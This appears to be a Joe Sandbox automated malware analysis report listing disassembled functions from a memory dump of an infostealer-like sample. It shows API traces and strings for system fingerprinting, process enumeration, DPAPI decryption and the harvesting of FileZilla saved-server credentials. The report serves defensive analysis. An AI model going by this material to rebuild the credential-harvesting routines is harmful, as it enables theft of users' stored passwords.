Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 959a32809bf77ea7535e4eb5a7c8f0c0158707e5fef3a1c1b2c232c917b5d36d
Instruction ID: 7f74e4117e18f221836cc8dfa6e9da0cbfb987b90413c5c57b10598df2daaecd
Opcode Fuzzy Hash: 959a32809bf77ea7535e4eb5a7c8f0c0158707e5fef3a1c1b2c232c917b5d36d
Instruction Fuzzy Hash: C2123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205A7), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

CloseHandle.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT(?,?,?), ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01502B70,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01502B70,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01502B70,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,014FF6F0), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,01502F18), ref: 0040796B
lstrcat.KERNEL32(?,01503068), ref: 0040797F
lstrcat.KERNEL32(?,01503050), ref: 00407992
lstrcat.KERNEL32(?,01502DF8), ref: 004079A6
lstrcat.KERNEL32(?,014FF778), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,01502F18), ref: 00407A09
lstrcat.KERNEL32(?,01503068), ref: 00407A1D
lstrcat.KERNEL32(?,01503050), ref: 00407A31
lstrcat.KERNEL32(?,01502DF8), ref: 00407A44
lstrcat.KERNEL32(?,01503588), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,01502F18), ref: 00407AA8
lstrcat.KERNEL32(?,01503068), ref: 00407ABB
lstrcat.KERNEL32(?,01503050), ref: 00407ACF
lstrcat.KERNEL32(?,01502DF8), ref: 00407AE3
lstrcat.KERNEL32(?,015035F0), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,01502F18), ref: 00407B46
lstrcat.KERNEL32(?,01503068), ref: 00407B5A
lstrcat.KERNEL32(?,01503050), ref: 00407B6D
lstrcat.KERNEL32(?,01502DF8), ref: 00407B81
lstrcat.KERNEL32(?,01503658), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,01502F18), ref: 00407BE4
lstrcat.KERNEL32(?,01503068), ref: 00407BF8
lstrcat.KERNEL32(?,01503050), ref: 00407C0C
lstrcat.KERNEL32(?,01502DF8), ref: 00407C1F
lstrcat.KERNEL32(?,015036C0), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,01502F18), ref: 00407C83
lstrcat.KERNEL32(?,01503068), ref: 00407C96
lstrcat.KERNEL32(?,01503050), ref: 00407CAA
lstrcat.KERNEL32(?,01502DF8), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(33B31020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(33B31020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(33B31020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(33B31020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(33B31020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(33B31020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(33B31020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,01503960), ref: 00407E4B
lstrcat.KERNEL32(?,01502260), ref: 00407E5E
lstrlenA.KERNEL32(33B31020), ref: 00407E6B
lstrlenA.KERNEL32(33B31020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

<Port>, xrefs: 00410206
browser: FileZilla, xrefs: 00410399
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
<User>, xrefs: 00410250
password: , xrefs: 0041043B
profile: null, xrefs: 004103A8
<Pass encoding="base64">, xrefs: 0041029A
<Host>, xrefs: 004101BC
login: , xrefs: 0041040A
url: , xrefs: 004103B7

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 0d4503c38b707c35e177df0b8eb20f4a0d262089455e6d62357b9fe43875858e
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: 0d4503c38b707c35e177df0b8eb20f4a0d262089455e6d62357b9fe43875858e
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,014EF328), ref: 004192B1
